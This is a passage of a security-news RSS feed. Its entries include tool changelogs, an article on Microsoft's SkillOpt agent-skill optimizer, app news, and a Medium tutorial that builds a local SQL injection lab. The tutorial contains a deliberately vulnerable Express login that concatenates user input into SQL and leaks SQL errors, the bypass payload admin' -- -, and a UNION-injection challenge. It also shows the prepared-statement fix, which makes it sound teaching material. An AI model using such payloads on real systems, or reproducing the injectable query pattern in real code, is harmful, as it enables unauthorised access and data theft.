Fixed

Fixed the Subagents HUD order so progress updates no longer move active rows; batched subagents keep their task order.
Fi...]]></description>
<link>https://tsecurity.de/de/3592415/tools/v15116/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592415/tools/v15116/</guid>
<pubDate>Fri, 12 Jun 2026 06:53:26 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Changed</h3>
<ul>
<li>Renamed the saved Codex reset command from <code>/reset-usage</code> to <code>/usage reset</code> and added <code>/usage show</code> as an explicit alias for plain <code>/usage</code>.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed the Subagents HUD order so progress updates no longer move active rows; batched subagents keep their task order.</li>
<li>Fixed <code>/settings</code> dirty-value highlighting so changed values stay orange while the row has keyboard focus.</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.11.5...v15.11.6"><tt>v15.11.5...v15.11.6</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.174]]></title>
<description><![CDATA[What's changed

Added wheelScrollAccelerationEnabled setting to disable mouse-wheel scroll acceleration in fullscreen mode
Fixed the /model picker hiding the model family that Default resolves to — Opus now appears as its own row on Max/Team Premium/Enterprise plans, Sonnet on Pro/Team plans, and...]]></description>
<link>https://tsecurity.de/de/3592186/downloads/v21174/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592186/downloads/v21174/</guid>
<pubDate>Fri, 12 Jun 2026 03:46:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>wheelScrollAccelerationEnabled</code> setting to disable mouse-wheel scroll acceleration in fullscreen mode</li>
<li>Fixed the <code>/model</code> picker hiding the model family that Default resolves to — Opus now appears as its own row on Max/Team Premium/Enterprise plans, Sonnet on Pro/Team plans, and Opus on pay-as-you-go API accounts</li>
<li>Fixed <code>/model</code> picker showing a hardcoded Sonnet version label when <code>ANTHROPIC_DEFAULT_SONNET_MODEL</code> pins a different Sonnet</li>
<li>Fixed the "Fable 5 is now consuming usage credits" banner incorrectly showing for enterprise accounts with usage-based billing</li>
<li>Fixed Bedrock GovCloud regions (<code>us-gov-*</code>) deriving the wrong inference profile prefix (<code>global</code> instead of <code>us-gov</code>), causing 400 errors on derived model IDs</li>
<li>Fixed background sessions inheriting another session's <code>ANTHROPIC_*</code> provider env (gateway URL, custom headers, <code>/model</code> aliases) from the shell that started the background daemon</li>
<li>Fixed a 1-2 second pause when exiting Claude Code shortly after a shell command was interrupted or killed on macOS and Linux</li>
<li>Fixed git commit co-author attribution showing an incorrect model name for some models</li>
<li>Fixed the <code>/advisor</code> dialog pre-selecting a saved advisor model that is blocked by the <code>availableModels</code> allowlist</li>
<li>Fixed skill hot-reload re-sending the entire skill listing when a single skill changed; only changed skills are now re-announced</li>
<li>Fixed Workflow tool <code>agent()</code> subagents missing per-agent attribution headers</li>
<li>[VSCode] Added usage attribution to the Account &amp; usage dialog (<code>/usage</code>) showing cache misses, long context, subagents, and per-skill/agent/plugin/MCP breakdowns over the last 24h or 7d</li>
<li>Fixed pre-warmed background workers failing with "Could not resolve authentication method" when claimed after sitting idle</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Making A SQLi Lab Is Not Difficult, Build One With Me.]]></title>
<description><![CDATA[In the previous part we made a lab with vulnerabilities that, at least to me, is one of the coolest. Today we’re building a lab that can be very destructive for a company. SQLi is one of the most intrusive attacks because we don’t need to elevate privileges. In some cases, like this lab, you don’...]]></description>
<link>https://tsecurity.de/de/3591628/hacking/making-a-sqli-lab-is-not-difficult-build-one-with-me/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3591628/hacking/making-a-sqli-lab-is-not-difficult-build-one-with-me/</guid>
<pubDate>Thu, 11 Jun 2026 21:06:01 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jh-9sr-cB8gacfRK3CU2PQ.png"></figure><p>In the previous part we made a lab with vulnerabilities that, at least to me, is one of the coolest. Today we’re building a lab that can be very destructive for a company. SQLi is one of the most intrusive attacks because we don’t need to elevate privileges. In some cases, like this lab, you don’t even need a proxy like Burp.</p><h3>SKWEEL What?</h3><p>A running joke at my company is that we work very hard to make juniors believe that you pronounce SQL as <em>skweel</em>. And you would be surprised how many times this works. We don’t say it one time, no no no. When we as seniors are talking in meetings, even with leadership (yes they are also in the joke), we consistently pronounce it <em>skweel</em>. After one week, almost every single one of the juniors start using that term and it is probably not so hilarious if you are reading it, but I always have the time of my life.</p><p>Anyway… SQL injection is when an attacker is able to insert or manipulate SQL queries through user-controlled input. Instead of the application treating your input as data, it accidentally treats it as code. The database executes whatever you slipped in. That’s it. No CVE needed, no kernel exploit — just a quote character and a lack of input sanitization.</p><h3>Lab Tree</h3><p>As you’re used by now in this series, we start with the folder structure. For this SQLi lab, it is going to look like this.</p><pre>/mediumLabs<br>└── /SQLi<br>    ├── /node_modules<br>    ├── server.js<br>    ├── guest.html<br>    ├── admin.html<br>    ├── login.html<br>    ├── package-lock.json<br>    └── package.json</pre><p>Three HTML files, one backend. The idea is simple: a login form that lets you in as either a guest or an admin, backed by a SQLite database. The vulnerability lives in server.js and the goal is to reach admin.html without knowing the admin password.</p><h3>Getting Started</h3><h3>Dependencies</h3><p>The boilerplate for the code is simple enough. But first we need to install some dependencies. So when you’re in mediumLabs (in the terminal, you're a hacker!), create a directory SQLi with mkdir SQLi. After you cd into it, start with npm init to create package.json. After that we're going to install our dependencies with npm i nodemon express better-sqlite3 jsonwebtoken, this will also make package-lock.json and your folder node_modules.</p><h3>Code</h3><p>In this part, I’m just gonna give you the boilerplate code. Try and use vim inside the terminal. Alternatively I do accept if you do it in your favorite IDE. However, Word isn't an IDE 😄</p><p><strong>server.js</strong></p><pre>const express = require('express');<br>const Database = require('better-sqlite3');<br>const jwt = require('jsonwebtoken');<br>const path = require('path');<br>const app = express();<br>const db = new Database(':memory:');<br>const JWT_SECRET = 'sqli-lab-secret';<br>db.exec(`<br>  CREATE TABLE users (<br>    id INTEGER PRIMARY KEY,<br>    username TEXT,<br>    password TEXT,<br>    role TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('guest', 'guest123', 'guest')").run();<br>db.prepare("INSERT INTO users (username, password, role) VALUES ('admin', 'sup3rs3cr3t', 'admin')").run();<br>app.use(express.urlencoded({ extended: false }));<br>function getToken(req) {<br>  const auth = req.headers.authorization;<br>  if (auth &amp;&amp; auth.startsWith('Bearer ')) return auth.slice(7);<br>  const match = (req.headers.cookie || '').match(/token=([^;]+)/);<br>  return match ? match[1] : null;<br>}<br>function requireAuth(req, res, next) {<br>  try {<br>    req.user = jwt.verify(getToken(req), JWT_SECRET);<br>    next();<br>  } catch {<br>    res.redirect('/');<br>  }<br>}<br>function requireAdmin(req, res, next) {<br>  try {<br>    req.user = jwt.verify(getToken(req), JWT_SECRET);<br>    if (req.user.role !== 'admin') return res.status(403).send('403 Forbidden');<br>    next();<br>  } catch {<br>    res.redirect('/');<br>  }<br>}<br>app.get('/', (req, res) =&gt; res.sendFile(path.join(__dirname, 'login.html')));<br>app.post('/login', (req, res) =&gt; {<br>// TODO Implement login logic<br>});<br>app.get('/guest', requireAuth, (req, res) =&gt; res.sendFile(path.join(__dirname, 'guest.html')));<br>app.get('/admin', requireAdmin, (req, res) =&gt; res.sendFile(path.join(__dirname, 'admin.html')));<br>app.get('/logout', (req, res) =&gt; {<br>  res.setHeader('Set-Cookie', 'token=; Max-Age=0; Path=/');<br>  res.redirect('/');<br>});<br>app.listen(3000, () =&gt; console.log('Listening on http://localhost:3000'));</pre><p><strong>guest.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Guest&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome, Guest!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in with the &lt;strong&gt;guest&lt;/strong&gt; role.&lt;/p&gt;<br>    &lt;a href="/logout"&gt;Logout&lt;/a&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>admin.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Admin&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Welcome, Admin!&lt;/h1&gt;<br>    &lt;p&gt;You are logged in with the &lt;strong&gt;admin&lt;/strong&gt; role.&lt;/p&gt;<br>    &lt;a href="/logout"&gt;Logout&lt;/a&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>login.html</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang="en"&gt;<br>&lt;head&gt;<br>    &lt;meta charset="UTF-8"&gt;<br>    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Login&lt;/h1&gt;<br>    &lt;form method="POST" action="/login"&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Username: &lt;input type="text" name="username" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;div&gt;<br>            &lt;label&gt;Password: &lt;input type="password" name="password" required&gt;&lt;/label&gt;<br>        &lt;/div&gt;<br>        &lt;button type="submit"&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>package.json</strong></p><pre>{<br>  "name": "sqli",<br>  "version": "1.0.0",<br>  "description": "",<br>  "license": "ISC",<br>  "author": "",<br>  "type": "commonjs",<br>  "main": "server.js",<br>  "scripts": {<br>    "start": "node server.js",<br>    "dev": "nodemon server.js"<br>  },<br>  "dependencies": {<br>    "better-sqlite3": "^12.10.0",<br>    "express": "^5.2.1",<br>    "jsonwebtoken": "^9.0.3",<br>    "nodemon": "^3.1.14"<br>  }<br>}</pre><h3>Adding Some Vulnerable Code</h3><p>Now for the fun part, writing some mistakes. The big mistake developers make when creating a query, is allowing raw userinput. In code it looks like this:</p><pre>let query = `select * from secrets where <br>clearance = '${userClearance}' <br>and clearancePassword = '${clearancePassword}';`</pre><p>In this scenario we imagine a system where you can access documents with a certain security clearance threshold by providing the password that you receive when you get your security clearance. We use backticks so we can easily import the variables that are filled in when the user enters the credentials.</p><p>If a user would enter <strong>TOP SECRET</strong>, but didn’t know the password, the query would return 0 results. But what happens if we comment out the and part? If we'd enter TOP SECRET' -- - the query that would be executed would look like this:</p><pre>SELECT * FROM secrets where clearance = 'TOP SECRET' -- -' AND clearancePassword = wrong_password;</pre><p>As you see, the security control (the password), is just commented out, and will not be evaluated. This results in the user being able to see top secret documents without having the right password (and credentials). Exactly what we want for our lab!</p><p>In our lab, we are going to make it possible to log in as admin without providing the correct password. In our code, we're gonna add this to the POST request to /login</p><pre>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;<br>  let user;<br>  try {<br>    user = db.prepare(query).get();<br>  } catch (e) {<br>    return res.status(400).send(`SQL Error: ${e.message}`);<br>  }<br>  if (!user) return res.redirect('/?error=Invalid+credentials');<br>  const token = jwt.sign({ username: user.username, role: user.role }, JWT_SECRET, { expiresIn: '1h' });<br>  res.setHeader('Set-Cookie', `token=${token}; HttpOnly; Path=/`);<br>  res.redirect(user.role === 'admin' ? '/admin' : '/guest');<br>});</pre><p>In this code we made the exact same mistake as I explained in the example of our secret documents. You’ll also notice the catch block sends the raw SQL error message back to the browser — that's a second intentional vulnerability. In a real app, leaking database errors is a serious info disclosure: it tells an attacker exactly what their payload broke and makes tuning an injection much easier. In our lab, it's a deliberate feature that gives you feedback while you experiment. Never do this in production. In the try block, we assign the variable user with the result of the query. But, we are going to make sure that our code never checks if we even know the password of the user "admin".</p><p>Once you added this to the code, hit save and run npm start or npm run dev if you want to use nodemon.</p><blockquote><em>If you don’t know, using nodemon prevents you from having to turn off and bring back on your server each time you change something to your code. If you hit </em><em>CMD-S or </em><em>CTRL-S, nodemon will automatically restart your server.</em></blockquote><h3>Exploit Our Vulnerability</h3><p>I promised you in the beginning of this post that you wouldn’t need any special tools to exploit this app, and I tend to keep my promises. Now if you read through this blog, you will probably already know what payload you need to use in the inputfield for username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*XA3SfrWoDspiTY0-bjPEdA.png"></figure><p>If you entered the payload admin' -- -, and a random password, you are now looking at the admin page. Congratulations!</p><h3>Challenge</h3><p>Before I drop the challenge, a quick heads-up: to solve this one you’ll need a different technique called <strong>UNION-based injection</strong>. While comment-based injection (-- -) lets you skip parts of a query, UNION injection lets you <em>append</em> a second query and pull data from a completely different table. The basic idea is that if the original query returns one row with N columns, you can tack on UNION SELECT col1, col2, ... FROM other_table -- - and the database will return both rows together. The trick is getting the column count right. If your UNION doesn't match the number of columns in the original query, you'll get an error. That error message in your browser? That's your feedback loop.</p><p>So now the challenge! I want you to open server.js, and add this to the database seed on line 20.</p><pre>db.exec(`<br>  CREATE TABLE secrets (<br>    id INTEGER PRIMARY KEY,<br>    level TEXT,<br>    prio TEXT,<br>    secret TEXT<br>  )<br>`);<br>db.prepare("INSERT INTO secrets (level, prio, secret) VALUES ('confidential', 'low', 'flag{sql_union_is_powerful}')").run();</pre><p>After you saved it and your server is up and running, your job is to get the flag reflected in your JWT.</p><h3>My Proof</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WjRMO2fYKpTfUhuhq87tNg.png"></figure><blockquote><em>Should you not be able to figure it out, do reach out to me! I’ll be more than happy to help you out.</em></blockquote><h3>How To Avoid This Vulnerability</h3><p>Avoiding SQLi isn’t about complex coding structures. It’s not about implementing packages that mitigate it. It’s all about prepared statements. Instead of using backticks with the ${} syntax (or let query = baseString + userInput if you're old school), you'll be using this syntax instead:</p><pre>app.post('/login', (req, res) =&gt; {<br>  const { username, password } = req.body;<br>  const user = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?').get(username, password);<br>// rest of the code<br>});</pre><p>The question marks will make sure that no malicious payload can creep up in the query itself.</p><p>Services like Cloudflare can be a addition in trying to avoid SQLi attempts to be send to the server, but having prepared statements in your backend should be default use by developers and your number 1 defence against SQLi. Luckily AI tools like Claude will do this by default, so even though AI slop will still be there, at least SQLi will hopefully become something from the past in a few years.</p><p>The real takeaway here is simple: never trust user input, and never let it touch a raw query. One quote character is all it takes to go from a login form to a full database dump. That’s the power and the danger of SQL injection.</p><p>Next up we’re looking at <strong>IDOR</strong> (Insecure Direct Object Reference), a vulnerability so simple it almost feels like cheating. No injections, no clever payloads. Just changing a number in a URL and seeing what you’re not supposed to see. Stay tuned.</p><blockquote><em>I break web apps for fun, make vulnerable labs to learn, and write about it so you can too.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=795964b602db" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/making-a-sqli-lab-is-not-difficult-build-one-with-me-795964b602db">Making A SQLi Lab Is Not Difficult, Build One With Me.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft’s open-source SkillOpt automatically upgrades AI agent skills without touching model weights]]></title>
<description><![CDATA[Agent skills have become an important part of real-world AI applications, providing a mechanism — a set of instructions saved in a folder of text-based markdown (.md) files, usually — for models to adapt to specific enterprise use cases and complex workflows. However, optimizing these skills is a...]]></description>
<link>https://tsecurity.de/de/3591147/it-nachrichten/microsofts-open-source-skillopt-automatically-upgrades-ai-agent-skills-without-touching-model-weights/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3591147/it-nachrichten/microsofts-open-source-skillopt-automatically-upgrades-ai-agent-skills-without-touching-model-weights/</guid>
<pubDate>Thu, 11 Jun 2026 18:02:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://agentskills.io/home">Agent skills</a> have become an important part of real-world AI applications, providing a mechanism — a set of instructions saved in a folder of text-based markdown (.md) files, usually — for models to adapt to specific enterprise use cases and complex workflows. </p><p>However, optimizing these skills is a slow process and faulty process, as they cannot be trained in the same way as the parameters of the underlying AI model. Instead, users typically must update them manually by retyping the instructions in each file, playing a "guessing game" as to what changes might improve agentic AI performance and reduce errors. </p><p><a href="https://github.com/microsoft/SkillOpt">SkillOpt</a>, a new, open source (<a href="https://github.com/microsoft/SkillOpt">MIT Licensed</a>) framework developed by Microsoft, does one better: it introduces an optimizer designed for agent skills, turning the agent's skill .md document as a trainable object that evolves based on performance feedback.</p><p>It uses deep-learning-style optimization to make it possible for the AI to systematically explore modifications to the document and find the best combination of instructions. Most importantly, it accomplishes this procedural adaptation without making changes to the underlying model's weights.</p><p>On various industry benchmarks, SkillOpt outperforms existing baselines, significantly boosting accuracy for models like GPT-5.5 and Qwen. The result is a set of compact, transferable skill artifacts that allow AI agents to adapt to new domains effortlessly.</p><h2>The challenge of optimizing agent skills</h2><p>Agent skills package procedural knowledge into natural-language specifications, including domain heuristics, tool-use policies, output constraints, and known failure modes. These skills provide an external interface for agents to adapt to complex enterprise workflows. In practice, agent skills are stored as text documents and inserted into the agent's context before execution.</p><p>One of the key benefits of skills is that they customize the behavior of the underlying model without changing its weights. However, the skill document itself needs to be tweaked and optimized to get the best performance out of the agent.</p><p>While deep learning relies on strict mathematical controls for stability, human prompt engineering often relies on trial and error. When attempting to automatically update a skill document based on feedback, the lack of mathematical discipline makes text highly volatile.</p><p>Yifan Yang, Senior Research SDE at Microsoft Research Asia, told VentureBeat that the problem is not making changes, but ensuring those changes are mathematically sound.</p><p>"The breaking point isn't whether a team can change a skill, it's that they can't guarantee the change is an improvement," Yang said. "Three failure modes recur: no step-size control, so skills drift; no validation, so a fix that reads as reasonable gets written in and can quietly regress performance; and no negative memory, so the same failed edit keeps coming back."</p><p>To illustrate how easily performance can drop when edits aren't mathematically validated, Yang noted that "an ungated rewrite pushed GPT-5.5 on SpreadsheetBench from 41.8 down to 41.1."</p><p>According to Yang, these failure modes are amplified in multi-step workflows "because that's where frontier models are weakest zero-shot. Not on reasoning, but on procedural discipline: format, self-verification, tool policy."</p><p>Before SkillOpt, agent skills were primarily hand-crafted, generated in a single shot, or evolved through loosely controlled self-revision pipelines that could not reliably improve under feedback.</p><p>Prompt optimization methods like TextGrad and <a href="https://venturebeat.com/business/gepa-optimizes-llms-without-costly-reinforcement-learning">GEPA</a> treat language artifacts as optimizable objects and use trajectory feedback to evolve prompts, but they focus on single-prompt configurations rather than generating persistent, reusable skill artifacts.</p><p>Meanwhile, skill evolution and discovery methods like EvoSkill and Trace2Skill convert agent execution experiences into trajectory lessons to refine skill folders, build domain-specific libraries, or perform evolutionary search.</p><p>None of them apply deep-learning-style controls, such as learning rates, validation gates, and momentum, which are necessary to continuously train a single, compact skill document.</p><h2>Importing mathematical discipline to text</h2><p>SkillOpt optimizes a text document through an iterative propose-and-test loop that separates the model executing the tasks from the model optimizing the skill. The process unfolds in several steps:</p><ul><li><p>SkillOpt starts with an initial skill document and a frozen target model (or harness), where the target model runs a batch of tasks to generate execution trajectories that act as the evidence for the current step.</p></li><li><p>An offline optimizer model analyzes these trajectories, separating successes from failures into minibatches. Looking at a minibatch helps the model identify systematic procedural errors rather than one-off anomalies. Based on these patterns, the optimizer proposes structural add, delete, or replace edits to the skill document.</p></li><li><p>The proposed edits are reviewed to filter out duplicates or contradictions, and the optimizer then ranks these candidate edits by their expected utility.</p></li><li><p>Rather than applying all proposed changes, SkillOpt clips the list to a maximum edit budget for that step, generating a candidate skill.</p></li><li><p>The candidate skill is evaluated on a held-out validation set using the target model. If the candidate improves the validation score, it is accepted and becomes the new current skill. If it fails, the edits are rejected and sent to a rejected-edit buffer, providing negative feedback so the optimizer knows not to repeat that mistake.</p></li></ul><p>SkillOpt directly addresses the problem of treating text as a trainable object by importing mathematical concepts from deep learning. The creators note that “the deep-learning analogy is operational rather than decorative,” helping the framework avoid the instability issues associated with other optimization techniques.</p><p>The edit budget acts as a learning rate. By limiting how many edits can be applied at once, the skill version is prevented from moving too far from its previous state, preserving continuity while allowing new procedures to be acquired. </p><p>Just like checking validation loss in deep learning, the strict held-out examples ensure that plausible-sounding text edits are only kept if they mathematically improve the agent's actual performance on the validation split.</p><p>At the end of an epoch, SkillOpt performs a slow update by comparing tasks under the previous and current epoch's skills. This acts like a momentum term, carrying durable, long-horizon procedural lessons forward while isolating them from the fast, step-level edits.</p><h2>SkillOpt in action</h2><p>To evaluate the technique in practice, researchers tested SkillOpt across different models, ranging from large-scale frontier models like GPT-5.5 to smaller closed and open models including GPT-5.4-mini and Qwen3.5-4B. They also deployed the skills within different execution harnesses, using plain chat as well as complex coding harnesses like the Codex CLI and Claude Code.</p><p>The evaluation spanned diverse industry benchmarks including single-round question-answering, multi-round code generation involving tool use, and multimodal document reasoning. SkillOpt was measured against multiple baselines ranging from a default no-skill setting to human-written skills and one-shot LLM-generated skills. It was also compared against advanced prompt-optimization and skill-evolution methods, specifically Trace2Skill, TextGrad, GEPA, and EvoSkill.</p><p>SkillOpt dominated across the board, proving highly effective on all 52 evaluated combinations of model, benchmark, and harness. It was particularly effective with frontier models, delivering an average absolute improvement of +23.5 points against the no-skill baseline on GPT-5.5. Furthermore, SkillOpt outperformed a hypothetical oracle baseline that cherry-picks the best competing method for every problem.</p><p>Small target models saw immense relative gains, proving that a compact text file can supply procedural knowledge that small models lack in their weights. For example, GPT-5.4-nano nearly doubled its score on multimodal document QA and tripled its score on embodied interaction and sequential decision-making.</p><p>These academic benchmarks map to critical enterprise pain points. Zero-shot models often hallucinate formatting or fail to use tools properly in multi-step scenarios. Yang explained that the biggest performance leaps occurred in operations that enterprises historically struggle to automate reliably.</p><p>"Document data extraction... exact figures out of contracts, invoices, and forms — AP automation, claims, compliance," Yang said. "What improves is reliability: precise formatting, self-verification, auditable outputs. And the gains come from learning procedure, not memorizing answers."</p><p>For enterprise practitioners, the true value of SkillOpt lies in its portability, efficiency, and compatibility with existing infrastructure. Experiments confirm that the framework is harness-agnostic. In addition to basic chat, the same optimization loop was successfully integrated into tool-backed execution environments like the Codex CLI and Claude Code with significant gains on industry benchmarks.</p><p>Developers can train a skill using one execution loop and deploy it in another. For example, a spreadsheet skill trained entirely inside the Codex loop was moved directly into Claude Code and drove a +59.7 point gain over Claude Code's native baseline without any further changes.</p><p>SkillOpt artifacts also transfer cleanly across model scales. A skill optimized for GPT-5.4 was deployed onto the smaller GPT-5.4-mini and GPT-5.4-nano models with positive gains, proving that the learned procedures encode reusable workflows rather than just exploiting quirks of a specific model's architecture.</p><p>Finally, the framework is highly efficient regarding token usage and context window real estate. Across all benchmarks, the final deployed skills never exceeded 2,000 tokens, with a median length of roughly 920 tokens. This results in highly readable, auditable artifacts that a human practitioner can review and manage in minutes.</p><h2>Implementation strategies and the enterprise 'catch'</h2><p>For enterprise tech leaders, adopting a new framework requires understanding the overhead and limitations. While the research paper notes that training tokens can reach up to 210 million for academic benchmarks, the reality for day-to-day enterprise use cases is much lighter. The high token counts in testing were largely due to re-scoring massive held-out test sets.</p><p>"The real upfront work is the verifier and a representative held-out split. The optimizer is light; the evaluation harness is where the engineering goes," Yang said. He added that for everyday use, "in community frameworks like GBrain, where SkillOpt updates run on Claude Sonnet, training a skill for a single task averages just $1–5." This optimization cost is a one-time fee that amortizes completely at deployment.</p><p>However, the framework requires specific conditions to work effectively, namely a few dozen representative examples and a scorable feedback signal. Teams should avoid applying SkillOpt to open-ended or subjective tasks. "With no clean automatic scorer you have to design a human- or model-based evaluator and watch its stability," Yang said.</p><p>SkillOpt also integrates smoothly with existing orchestration stacks, removing a major adoption hurdle. For instance, developers already using pipeline compilers can run both systems harmoniously. "DSPy is a different, complementary layer," Yang said. "It compiles declarative LM pipelines and optimizes program structure; SkillOpt optimizes the external skill state a frozen agent loads. You can run them together."</p><p>Looking ahead, open-source developers are already scheduling SkillOpt to run periodically over their agents' past trajectories, creating a small ecosystem of self-optimizing code-agent plugins. This continuous feedback loop represents a significant shift in how AI systems adapt.</p><p>"The valuable version of self-improvement is an agent autonomously discovering knowledge to improve its own behavior and the user experience, under verification and audit," Yang said. "Skills are the fastest, cheapest, most reversible first step, and the same mindset points toward agents eventually optimizing themselves, all the way down to their own weights."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pool’s new app turns your screenshots into something useful]]></title>
<description><![CDATA[Pool's new app automatically sorts screenshots into personalized collections, tracks down the original links behind saved content, and helps you rediscover products, recipes, travel ideas, and other things you meant to revisit.]]></description>
<link>https://tsecurity.de/de/3591062/ai-nachrichten/pools-new-app-turns-your-screenshots-into-something-useful/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3591062/ai-nachrichten/pools-new-app-turns-your-screenshots-into-something-useful/</guid>
<pubDate>Thu, 11 Jun 2026 17:32:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Pool's new app automatically sorts screenshots into personalized collections, tracks down the original links behind saved content, and helps you rediscover products, recipes, travel ideas, and other things you meant to revisit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Strava subscribers just saved themselves another sub to Komoot or AllTrails — as the freemium app debuts a new suite of hiking tools that 'spans every stage of the outdoor experience', including vital off-route alerts]]></title>
<description><![CDATA[The new Strava features help premium subscribers plan routes, ensure they stick to the trail, and aid in sharing activities afterwards.]]></description>
<link>https://tsecurity.de/de/3590683/it-nachrichten/strava-subscribers-just-saved-themselves-another-sub-to-komoot-or-alltrails-as-the-freemium-app-debuts-a-new-suite-of-hiking-tools-that-spans-every-stage-of-the-outdoor-experience-including-vital-off-route-alerts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590683/it-nachrichten/strava-subscribers-just-saved-themselves-another-sub-to-komoot-or-alltrails-as-the-freemium-app-debuts-a-new-suite-of-hiking-tools-that-spans-every-stage-of-the-outdoor-experience-including-vital-off-route-alerts/</guid>
<pubDate>Thu, 11 Jun 2026 15:18:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The new Strava features help premium subscribers plan routes, ensure they stick to the trail, and aid in sharing activities afterwards.]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 27: How Siri AI Uses Your Personal Context]]></title>
<description><![CDATA[Apple has made Siri AI much smarter in iOS 27 by giving it access to your personal context. Instead of responding only to direct commands, Siri can now understand information stored across your Apple devices and use it to help with everyday tasks. The goal is to make Siri more useful while keepin...]]></description>
<link>https://tsecurity.de/de/3590423/ios-mac-os/ios-27-how-siri-ai-uses-your-personal-context/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590423/ios-mac-os/ios-27-how-siri-ai-uses-your-personal-context/</guid>
<pubDate>Thu, 11 Jun 2026 13:55:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has made Siri AI much smarter in iOS 27 by giving it access to your personal context. Instead of responding only to direct commands, Siri can now understand information stored across your Apple devices and use it to help with everyday tasks. The goal is to make Siri more useful while keeping your data private.



What Does Personal Context Mean in Siri AI?







Personal context refers to information already available on your device, including messages, emails, notes, contacts, calendar events, reminders, and other content that belongs to you. Siri can use this information to answer questions and complete tasks without requiring you to remember every detail yourself.



For example, if a friend sends you a restaurant recommendation through Messages and you later forget the name, Siri can help find it. If you need a passport number saved in a note while booking a flight, Siri can locate it for you.



How Siri AI Uses Your Personal Context



FeatureWhat Siri Can DoMessage AwarenessFind details from conversations in MessagesEmail UnderstandingSearch important information from MailNotes IntegrationRetrieve information stored in NotesCalendar AccessUse upcoming events and schedules for assistanceContact InformationUpdate and manage contact detailsOn-Screen AwarenessUnderstand content currently displayed on your screenCross-App ActionsTake actions across multiple Apple appsConversation MemoryUse context from previous requests to provide better responses



Siri Can Understand What's on Your Screen



One of the biggest upgrades in iOS 27 is on-screen awareness. Siri can recognize content currently displayed on your iPhone and act on it.



For example, if someone sends you a new address in Messages, you can simply say, "Add this address to their contact card," and Siri understands exactly what information you are referring to. You no longer need to copy and paste details manually. 



Examples of Siri AI in Everyday Use



Here are some practical examples of how Siri AI uses personal context:




Find a recipe someone shared weeks ago through Messages or Mail.



Locate travel information stored in Notes.



Pull details from emails when planning a trip.



Add information from messages directly into Contacts.



Check upcoming meetings and related documents.



Complete actions across apps using information already available on your device.



Continue conversations while remembering previous context.




Privacy Remains a Key Focus



Apple says Siri AI uses personal context while maintaining its privacy-first approach. The company emphasizes that information remains protected and that Siri uses knowledge stored on your device to help answer questions and complete tasks.



Key Privacy Highlights




Personal data stays tied to your Apple account.



Siri only accesses information necessary to fulfill requests.



Apple continues to focus on private and secure AI features.



Many Apple Intelligence features rely on on-device processing.




Siri AI Goes Beyond Voice Commands



